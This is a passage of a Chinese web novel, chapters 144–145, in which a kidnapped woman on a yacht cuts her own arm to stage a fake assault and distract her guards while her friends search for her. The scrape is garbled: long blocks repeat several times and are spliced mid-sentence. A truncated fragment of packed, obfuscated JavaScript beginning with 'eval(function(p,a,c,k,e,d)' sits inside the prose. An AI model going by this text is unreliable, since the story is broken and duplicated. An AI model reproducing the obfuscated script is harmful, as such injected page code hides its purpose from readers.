“我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” “我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” “我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” “我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 强一些,我就死死地拉着你的手腕,直到我晕倒的最后一刻也没有放开。” 宋凝懂了。 就是因为大拿即便是晕倒了也不肯放手,所以傅东擎根本没办法把他扔下,只能连他一起抬上了游艇。 “也就是说,到了游艇上之后,你才松了手,然后被带到了其他船舱?” “……” “大拿?” 前面船舱里突然没有声音了。 宋凝的心顿时紧张起来:“你还好吗?发生什么事了?” 过了好一会儿,才听到大拿略带痛楚地声音:“嫂子,我的手被砍断了。” 宋凝顿时如坠冰窖:“什么……” 他是个狙击手啊! 他的手那么重要! “是傅东擎干的吗?” 大拿冷笑了一下:“船上就这么几个人,就算不是他亲手做的,也是他吩咐手下人做的。我跟这群黑衣保镖无冤无仇,他们不至于下这种死手。” 巨大的愧疚感包裹了她。 是因为她,大拿的手才被砍断了。 “……你现在需要治疗!我这就去叫他们,让他们联系补给船把你送回去。” “嫂子,你别忙了,不可能的。”大拿叹息:“如果我被送回去,那就会暴露你的行踪,傅东擎不会这么做的。” “可是这样下去不行,你会死的!” 海上昼夜温差大,白天烈日骄阳,晚上幽冷阴暗,本来就很容易生病。 而大拿的伤口那么大,如果不及时处理的话…… “嫂子,我们必须尽快回去。” 宋凝定了定神,“你有什么办法吗?需要我做什么?” “我需要十分钟左右的时间,今天晚上,麻烦嫂子想个办法,拖住他们。” 第一百四十四章 我不在意这个 傅东擎刚一上岸,就被一群人堵住了。 丁予期为首,老姚和萝卜就在身后。 还有苏菲和丁予墨。 傅东擎轻笑了一声:“大晚上的,怎么你们都在海边?有什么活动?” 老姚是个暴脾气,当即就有些忍不住了:“傅总,就别绕圈子了,你把我们嫂子弄哪儿去了?” “你们嫂子?”傅东擎闲庭信步似走近了一些:“我又不认识你,怎么会认识你嫂子?” “就是宋凝!宋凝你总该认识吧?” 傅东擎的眼中划过一丝冷意。 他皮笑肉不笑地说:“你说宋经理?她不是在卫斯理酒店工作么,你们不去酒店找,问**什么?” 萝卜直接开始撸袖子了:“你少来了!就是你打电话让嫂子下楼的,不是你还有谁?!你快说,把她弄去哪儿了?” 傅东擎后面看了一眼。 红**闪烁,在漆黑的夜里显得更加刺眼。 “你们不是报警了么?人丢了就让警察去找,我说了不知道。” 说着,他就要离开。 一个人影挡住了他的去路。 傅东擎扯了扯唇角:“丁总,麻烦让让,我爸妈还在酒店里等我,我得赶紧回去了。” 丁予期浑身肃杀,声音是前所未有的冷漠:“我看了酒店的监控记录,是你的人打晕了她,把她带走,一路来到了这个码头。” 傅东擎神情不变,明显是早就想好了应对之策:“你看错了吧?我见的人是林澜,你知道的,林澜的背影跟宋凝很像,当初你不是也因为这个,才让她出现在我面前的吗?” “你放屁!”萝卜忍不住了,一拳打了过来:“明明就是你给嫂子发了一张图片,威胁嫂子下楼见面的!你敢不敢把你的手机消息记录拿出来给所有人看!” 傅东擎被猝不及防打了一拳,趔趄了两步。 萝卜再怎么说也是在部队里受过训练的,力量比一般人要大一些,傅东擎的左脸立刻肿了起来。 但他不以为意,仍是似笑非笑地眯着眼睛:“我敢啊,但是……你确定要我拿出来给所有人看吗?如果你们同意,我没什么不敢的。” 说着,从口袋里掏出手机,似乎在翻找着。 老姚到底还算有点理智,立刻按住了他的手机屏幕:“不用了。” 萝卜急了:“老姚你干嘛?” 老姚低低地吼了一声,给他使了个眼色:“那张照片不能看!” 萝卜也反应过来了,自 己刚刚是被焦急冲昏了头脑。 那张照片,事关嫂子最好的朋友。 绝不能公开。 可是这样,他们怎么才能从傅东擎口中问出宋凝的行踪? 丁予期上前一步,语气里带着些低声和卑微:“傅总,我只想知道,宋凝她现在情况如何,她好不好?” 傅东擎调笑着:“她很好啊,我们旧情复燃,她对我非常热情,想要补回我们缺失的这些时光。应该再过不就就会怀上我们的孩子了。这个答案你满意吗?” 萝卜刚消下去的火气又顶了上来:“你胡说!嫂子绝对不可能跟你复合的!” “你信不信跟我无关,不过我跟阿凝和好,我现在心情很不错。所以即便你刚刚打了我,等我们孩子的满月酒上,我还是愿意给你发一份请柬的,到时候记得一定要来。” 傅东擎大笑着离开了。 萝卜和老姚想追,被丁予期拉住了。 这次轮到老姚着急了:“丁儿,你拦我们干什么!嫂子肯定是这家伙劫走的!必须得问清楚!” 丁予期松开了手,看着傅东擎离开的方向,眼神里晦暗不明:“现在这个时候,问不出来的。” “那怎么办?这家伙一直对嫂子贼心不死,嫂子落在他手上,就是肥肉落在了狼嘴里,我们得赶紧把嫂子救出来,不然这家伙肯定会对嫂子……不规矩。” 萝卜到底是顾及着丁予期的感受,没有把话说的太明白。 傅东擎都已经放话要给孩子办满月了,肯定是做了什么的。 宋凝一个女人,她如何反抗得了傅东擎? 丁予期叹了口气:“至少可以说明,宋凝现在人是安全的,这就够了。” 萝卜欲言又止。 自己的老婆被别人弄走,或许还被欺负了,是个男人心里都憋着火。 老姚拍了拍萝卜的肩膀,示意他别说了。 丁儿已经够难受的了。 倒是丁予墨走了过去,用拳头怼了一下丁予期:“你还挺大度。” “我不在意这个。” 丁予墨知道他的意思。 宋凝跟傅东擎在一起这么多年,他是真的喜欢宋凝这个人,并不是所谓的贞节牌坊。 如果要是在意,早在宋凝和傅东擎结婚的那一晚,他就该死心了。 可他没有,一直等了十五年。 苏菲接了个电话,然后安慰道:“我已经拜托我爸联系了人,在附近这片海域上进行搜寻。一旦发现无线电信号,立刻就能定位。” 丁予墨问了一句:“现在还是没有搜索到信号吗?” 苏菲叹了口气:“只有附近海域的一些货轮,其他的……还没有。” 丁予期突然思索了一下,问道:“大嫂,麻烦你告诉苏伯伯,着重检查一下中小型船只,尤其是私人游艇和渔船。” “为什么?” “傅东擎既然还能返回,说明宋凝所在的船并不算太远,这艘小游艇装不了多少燃料,距离不会太远。” 苏菲点了点头,可还是有一个疑问:“他会不会是把宋凝藏在了一个大船里运到目的地,然后自己再找机会飞过去?” “大型船只不管是客轮还是货轮,基本都有固定航线,如果是这两种,他应该会带着宋凝一起走,不会返回来的。不然为什么还要返回岸上,再飞过去?这不是多此一举吗?” 苏菲更迷惑了:“那你觉得,他返回岸上的原因是什么?总不能是因为他父母还在卫斯理吧?” 丁予期思索了一下,说道:“他明白,一旦他上了岸,不管他飞去哪里,都会有登机记录,我们就可以顺藤摸瓜的找到宋凝。所以他上岸的唯一的目的,就是让我们毫无头绪,彻底没有宋凝的任何线索。” 己刚刚是被焦急冲昏了头脑。 那张照片,事关嫂子最好的朋友。 绝不能公开。 可是这样,他们怎么才能从傅东擎口中问出宋凝的行踪? 丁予期上前一步,语气里带着些低声和卑微:“傅总,我只想知道,宋凝她现在情况如何,她好不好?” 傅东擎调笑着:“她很好啊,我们旧情复燃,她对我非常热情,想要补回我们缺失的这些时光。应该再过不就就会怀上我们的孩子了。这个答案你满意吗?” 萝卜刚消下去的火气又顶了上来:“你胡说!嫂子绝对不可能跟你复合的!” “你信不信跟我无关,不过我跟阿凝和好,我现在心情很不错。所以即便你刚刚打了我,等我们孩子的满月酒上,我还是愿意给你发一份请柬的,到时候记得一定要来。” 傅东擎大笑着离开了。 萝卜和老姚想追,被丁予期拉住了。 这次轮到老姚着急了:“丁儿,你拦我们干什么!嫂子肯定是这家伙劫走的!必须得问清楚!” 丁予期松开了手,看着傅东擎离开的方向,眼神里晦暗不明:“现在这个时候,问不出来的。” “那怎么办?这家伙一直对嫂子贼心不死,嫂子落在他手上,就是肥肉落在了狼嘴里,我们得赶紧把嫂子救出来,不然这家伙肯定会对嫂子……不规矩。” 萝卜到底是顾及着丁予期的感受,没有把话说的太明白。 傅东擎都已经放话要给孩子办满月了,肯定是做了什么的。 宋凝一个女人,她如何反抗得了傅东擎? 丁予期叹了口气:“至少可以说明,宋凝现在人是安全的,这就够了。” 萝卜欲言又止。 自己的老婆被别人弄走,或许还被欺负了,是个男人心里都憋着火。 老姚拍了拍萝卜的肩膀,示意他别说了。 丁儿已经够难受的了。 倒是丁予墨走了过去,用拳头怼了一下丁予期:“你还挺大度。” “我不在意这个。” 丁予墨知道他的意思。 宋凝跟傅东擎在一起这么多年,他是真的喜欢宋凝这个人,并不是所谓的贞节牌坊。 如果要是在意,早在宋凝和傅东擎结婚的那一晚,他就该死心了。 可他没有,一直等了十五年。 苏菲接了个电话,然后安慰道:“我已经拜托我爸联系了人,在附近这片海域上进行搜寻。一旦发现无线电信号,立刻就能定位。” 丁予墨问了一句:“现在还是没有搜索到信号吗?” 苏菲叹了口气:“只有附近海域的一些货轮,其他的……还没有。” 丁予期突然思索了一下,问道:“大嫂,麻烦你告诉苏伯伯,着重检查一下中小型船只,尤其是私人游艇和渔船。” “为什么?” “傅东擎既然还能返回,说明宋凝所在的船并不算太远,这艘小游艇装不了多少燃料,距离不会太远。” 苏菲点了点头,可还是有一个疑问:“他会不会是把宋凝藏在了一个大船里运到目的地,然后自己再找机会飞过去?” “大型船只不管是客轮还是货轮,基本都有固定航线,如果是这两种,他应该会带着宋凝一起走,不会返回来的。不然为什么还要返回岸上,再飞过去?这不是多此一举吗?” 苏菲更迷惑了:“那你觉得,他返回岸上的原因是什么?总不能是因为他父母还在卫斯理吧?” 丁予期思索了一下,说道:“他明白,一旦他上了岸,不管他飞去哪里,都会有登机记录,我们就可以顺藤摸瓜的找到宋凝。所以他上岸的唯一的目的,就是让我们毫无头绪,彻底没有宋凝的任何线索。” 己刚刚是被焦急冲昏了头脑。 那张照片,事关嫂子最好的朋友。 绝不能公开。 可是这样,他们怎么才能从傅东擎口中问出宋凝的行踪? 丁予期上前一步,语气里带着些低声和卑微:“傅总,我只想知道,宋凝她现在情况如何,她好不好?” 傅东擎调笑着:“她很好啊,我们旧情复燃,她对我非常热情,想要补回我们缺失的这些时光。应该再过不就就会怀上我们的孩子了。这个答案你满意吗?” 萝卜刚消下去的火气又顶了上来:“你胡说!嫂子绝对不可能跟你复合的!” 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丁予期思索了一下,说道:“他明白,一旦他上了岸,不管他飞去哪里,都会有登机记录,我们就可以顺藤摸瓜的找到宋凝。所以他上岸的唯一的目的,就是让我们毫无头绪,彻底没有宋凝的任何线索。” 己刚刚是被焦急冲昏了头脑。 那张照片,事关嫂子最好的朋友。 绝不能公开。 可是这样,他们怎么才能从傅东擎口中问出宋凝的行踪? 丁予期上前一步,语气里带着些低声和卑微:“傅总,我只想知道,宋凝她现在情况如何,她好不好?” 傅东擎调笑着:“她很好啊,我们旧情复燃,她对我非常热情,想要补回我们缺失的这些时光。应该再过不就就会怀上我们的孩子了。这个答案你满意吗?” 萝卜刚消下去的火气又顶了上来:“你胡说!嫂子绝对不可能跟你复合的!” “你信不信跟我无关,不过我跟阿凝和好,我现在心情很不错。所以即便你刚刚打了我,等我们孩子的满月酒上,我还是愿意给你发一份请柬的,到时候记得一定要来。” 傅东擎大笑着离开了。 萝卜和老姚想追,被丁予期拉住了。 这次轮到老姚着急了:“丁儿,你拦我们干什么!嫂子肯定是这家伙劫走的!必须得问清楚!” 丁予期松开了手,看着傅东擎离开的方向,眼神里晦暗不明:“现在这个时候,问不出来的。” “那怎么办?这家伙一直对嫂子贼心不死,嫂子落在他手上,就是肥肉落在了狼嘴里,我们得赶紧把嫂子救出来,不然这家伙肯定会对嫂子……不规矩。” 萝卜到底是顾及着丁予期的感受,没有把话说的太明白。 傅东擎都已经放话要给孩子办满月了,肯定是做了什么的。 宋凝一个女人,她如何反抗得了傅东擎? 丁予期叹了口气:“至少可以说明,宋凝现在人是安全的,这就够了。” 萝卜欲言又止。 自己的老婆被别人弄走,或许还被欺负了,是个男人心里都憋着火。 老姚拍了拍萝卜的肩膀,示意他别说了。 丁儿已经够难受的了。 倒是丁予墨走了过去,用拳头怼了一下丁予期:“你还挺大度。” “我不在意这个。” 丁予墨知道他的意思。 宋凝跟傅东擎在一起这么多年,他是真的喜欢宋凝这个人,并不是所谓的贞节牌坊。 如果要是在意,早在宋凝和傅东擎结婚的那一晚,他就该死心了。 可他没有,一直等了十五年。 苏菲接了个电话,然后安慰道:“我已经拜托我爸联系了人,在附近这片海域上进行搜寻。一旦发现无线电信号,立刻就能定位。” 丁予墨问了一句:“现在还是没有搜索到信号吗?” 苏菲叹了口气:“只有附近海域的一些货轮,其他的……还没有。” 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傅东擎调笑着:“她很好啊,我们旧情复燃,她对我非常热情,想要补回我们缺失的这些时光。应该再过不就就会怀上我们的孩子了。这个答案你满意吗?” 萝卜刚消下去的火气又顶了上来:“你胡说!嫂子绝对不可能跟你复合的!” “你信不信跟我无关,不过我跟阿凝和好,我现在心情很不错。所以即便你刚刚打了我,等我们孩子的满月酒上,我还是愿意给你发一份请柬的,到时候记得一定要来。” 傅东擎大笑着离开了。 萝卜和老姚想追,被丁予期拉住了。 这次轮到老姚着急了:“丁儿,你拦我们干什么!嫂子肯定是这家伙劫走的!必须得问清楚!” 丁予期松开了手,看着傅东擎离开的方向,眼神里晦暗不明:“现在这个时候,问不出来的。” “那怎么办?这家伙一直对嫂子贼心不死,嫂子落在他手上,就是肥肉落在了狼嘴里,我们得赶紧把嫂子救出来,不然这家伙肯定会对嫂子……不规矩。” 萝卜到底是顾及着丁予期的感受,没有把话说的太明白。 傅东擎都已经放话要给孩子办满月了,肯定是做了什么的。 宋凝一个女人,她如何反抗得了傅东擎? 丁予期叹了口气:“至少可以说明,宋凝现在人是安全的,这就够了。” 萝卜欲言又止。 自己的老婆被别人弄走,或许还被欺负了,是个男人心里都憋着火。 老姚拍了拍萝卜的肩膀,示意他别说了。 丁儿已经够难受的了。 倒是丁予墨走了过去,用拳头怼了一下丁予期:“你还挺大度。” “我不在意这个。” 丁予墨知道他的意思。 宋凝跟傅东擎在一起这么多年,他是真的喜欢宋凝这个人,并不是所谓的贞节牌坊。 如果要是在意,早在宋凝和傅东擎结婚的那一晚,他就该死心了。 可他没有,一直等了十五年。 苏菲接了个电话,然后安慰道:“我已经拜托我爸联系了人,在附近这片海域上进行搜寻。一旦发现无线电信号,立刻就能定位。” 丁予墨问了一句:“现在还是没有搜索到信号吗?” 苏菲叹了口气:“只有附近海域的一些货轮,其他的……还没有。” 丁予期突然思索了一下,问道:“大嫂,麻烦你告诉苏伯伯,着重检查一下中小型船只,尤其是私人游艇和渔船。” “为什么?” “傅东擎既然还能返回,说明宋凝所在的船并不算太远,这艘小游艇装不了多少燃料,距离不会太远。” 苏菲点了点头,可还是有一个疑问:“他会不会是把宋凝藏在了一个大船里运到目的地,然后自己再找机会飞过去?” “大型船只不管是客轮还是货轮,基本都有固定航线,如果是这两种,他应该会带着宋凝一起走,不会返回来的。不然为什么还要返回岸上,再飞过去?这不是多此一举吗?” 苏菲更迷惑了:“那你觉得,他返回岸上的原因是什么?总不能是因为他父母还在卫斯理吧?” 丁予期思索了一下,说道:“他明白,一旦他上了岸,不管他飞去哪里,都会有登机记录,我们就可以顺藤摸瓜的找到宋凝。所以他上岸的唯一的目的,就是让我们毫无头绪,彻底没有宋凝的任何线索。” 第一百四十五章 争取时间 苏菲不由得低声骂了一句脏话。 萝卜也跟着骂:“那岂不是我们一点线索都没有了?” “也不一定,”丁予期沉思了一会儿,说道:“既然不是大船,那船上的物资肯定不会太多,他既然打定了主意要长期藏匿宋凝,肯定得安排人送补给。” 苏菲顿时抬起头来:“我立刻安排人盯紧这个码头,如果发现补给船立刻就跟上去定位。” “还有,”丁予期说:“大拿应该也被一起带走了。” 老姚立刻跳了起来:“我刚刚就想说了,我们一路追踪过来都没发现大拿,他肯定是想了办法,一直跟在嫂子身边。有他在,傅东擎肯定得逞不了。” 丁予期微微眯起眼睛。 大拿身手再好,到底也是双拳难敌四手。 唯一的希望是,大拿能想办法通知他,他们具体的位置。 不然就只能等补给船,这样太被动了。 不过…… 他觉得,以宋凝的性格,如果单纯是想脱身,应该能想到办法。 但她更在乎的,是傅东擎手里那些唐婷的照片。 这才是她屡次被傅东擎威胁掣肘的原因。 …… 暮色四合。 宋凝看着窗外的月亮,然后抬脚,让**重重撞在床柱上。 黑夜里,这样的声音格外刺耳,黑衣人们很快就赶了过来:“太太,您怎么了?” “傅东擎呢?”宋凝靠在一边,冷冷的问道:“他什么时候回来?” 黑衣人安抚道:“太太,傅总回去处理一些事情,大概两三天时间就会回来了。” 宋凝点了点头,转而问道:“现在几点了?” “现在已经凌晨一点多了。” “那他应该睡了吧。” 黑衣人互相看了一眼,小声回复道:“……应该吧。” “那你们给他打个电话,我有事跟他说。” 黑衣人纷纷开始为难起来,互相对视了一下,艰难地说道:“现在打电话不好吧?傅总回去办事也挺忙的,过几天他就回来了。” “有什么不好的?他不是说,我除了逃走,其他的要求都可以提吗?” “……抱歉太太,真的不行。卫星电话一旦发出信号就会被定位的,如果被人发现了,我们几个就……” 他的嘴立刻被旁边的另一个黑衣人捂住了。 宋凝抬眼看了看,现在站在她这个船舱里的,只有三个人。 那也就是说,右边的 船舱里还有人。 大拿本身就受了伤,一个人肯定无法搞定。 她还是得想办法把人都吸引过来才行…… 船舱内黑漆漆一片,除了一点点清辉的月光,几乎没有任何光源。 宋凝用手在床垫下摸了摸,终于摸到了一个她今天下午奋力捡回来的那把小剪刀。 然后,双手背在身后,用力划破了自己的手臂。 一阵锐利的刺痛猴,顷刻间鲜血涌出。 宋凝把伤口往下,让血液全都流在自己的裙子后方…… “太太,这么晚了您把我们叫过来,到底是有什么事呢?” 一个黑衣人已经起了疑心,眼中闪着警惕的光。 宋凝立刻说话,拉回了他的注意力:“除了卫星电话,你们还有什么能跟傅东擎联络上的方式吗?” “太太,这里是公海,没有其他联络方式。” “真的?” “是的太太。” 宋凝沉默了一会儿,闭上眼睛靠在船舱上,有些痛苦地闭上了眼睛。 “……太太,您是有什么不舒服吗?” 宋凝沉默了一会儿,低声说道:“刚刚有人到了我的船舱里,试图……侵犯我。” 黑衣人顿时一惊:“怎么可能?” 宋凝说:“屋子里太黑了,我刚刚也害怕极了,所以没看清楚那人的长相。而你们几个都穿的一模一样,我实在分不出来到底是谁。” 黑衣人还是不信:“太太,我们几个方才一直都在船舱里睡觉,互相都能给彼此作证的!” “你们船舱里几个人?” “就我们三个啊。” “那另一个船舱里的人呢,你们也能肯定,他们一直睡着,没有出去过吗?” “这个……” 宋凝问道:“你们之间互相认识吗?” “有的认识,有的不认识,是傅总选的人,我们也是执行任务而已。” 宋凝微微放了心。 看来他们几个分船舱应该也是按照关系,认识的住在一起,彼此之间也并不是都很熟悉。 这样,就好办了很多。 宋凝从身后取出了那把带着血迹的小剪子,“我刚才反抗的时候,用刀划伤了他,他流了很多血。” 说着,她微微往旁边挪了一点,露出床垫上的点点血痕。 黑衣人们都有些惊讶:“真的有血!” 宋凝说:“我不知道傅东擎为什么选了你们来看管我,但你们应该都是他信得 过的人。我希望你们之中刚刚谁做了不轨之事,能像个男人一样站出来,不要躲着当缩头乌龟。既然有胆子做,怎么没胆子认了?” 宋凝说完,几个黑衣人都有些沉默。 他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 过的人。我希望你们之中刚刚谁做了不轨之事,能像个男人一样站出来,不要躲着当缩头乌龟。既然有胆子做,怎么没胆子认了?” 宋凝说完,几个黑衣人都有些沉默。 他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 过的人。我希望你们之中刚刚谁做了不轨之事,能像个男人一样站出来,不要躲着当缩头乌龟。既然有胆子做,怎么没胆子认了?” 宋凝说完,几个黑衣人都有些沉默。 他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 宋凝说:“你们不想打电话也可以,我也不想你们为难。但是这件事,我必须得要一个说法。这把剪刀必须放在我这里,我不放心你们当中的任何一个人。同时,我希望你们之间也能互相监督,保证没有任何人再可以单独出现在我的船舱里。” “太太,您希望我们怎么证明?” “你们一共有多少人,都叫过来,今晚你们几个都待在一起,不许分开,更不许任何一个人离开。” 黑衣人微微思索了一下,觉得这倒是个不错的解决办法。 所有人都在一起,大家都能相互佐证,就算是傅总回头问起来,他们也能有个说法。 更重要的是,他们几个一起守着太太,她插翅也难逃。 想到这里,他微微颔首,“我去其他人过来。” 很快,一共七个黑衣人都站在了宋凝面前。 宋凝问道:“还有其他人漏掉了吗?比如负责开船的,他是单独一个人吗?” “太太您放心,我们的船停在这里,不需要开,所有人都在这里了。” 宋凝点了点头,心却慢慢悬了起来。 她已经如约把所有人都拖住了,不知道大拿那边进行地怎么样了…… 过的人。我希望你们之中刚刚谁做了不轨之事,能像个男人一样站出来,不要躲着当缩头乌龟。既然有胆子做,怎么没胆子认了?” 宋凝说完,几个黑衣人都有些沉默。 他们三个能为彼此打包票,但是另一个船舱里的人,他们却没有十成十的把握。 可是…… 傅总交代过,太太很聪明,这一切会不会是她的计谋? 就算是她的计谋,她要干什么? 宋凝继续说道:“这把剪子上有那个人的血迹,到时候交给岸上的专家去鉴定,立刻就能确定真凶,你跑不掉的。” 最后面的那个黑衣人小声的请示前面那位:“……太太在船上被欺辱了,我们要不要报告给傅总?” “不行!都说了卫星电话不能打,会被定位的!” “那怎么办?我们现在要是走了,一会儿那个人又过来欺负太太,等傅总来了,我们几个全都得完蛋!” 宋凝冷声说道:“我不敢一个人睡,我怕那个人回来销毁这把剪刀。茫茫大海上,剪刀只要扔进水里就再也没有证据能证明他的罪行了。” 领头的黑衣人说:“太太,要不然您把剪刀交给我,等补给船来了,我想办法让他们带去岸上鉴定,给您一个交代……” “我怎么确定,方才那个人不是你?” “……” 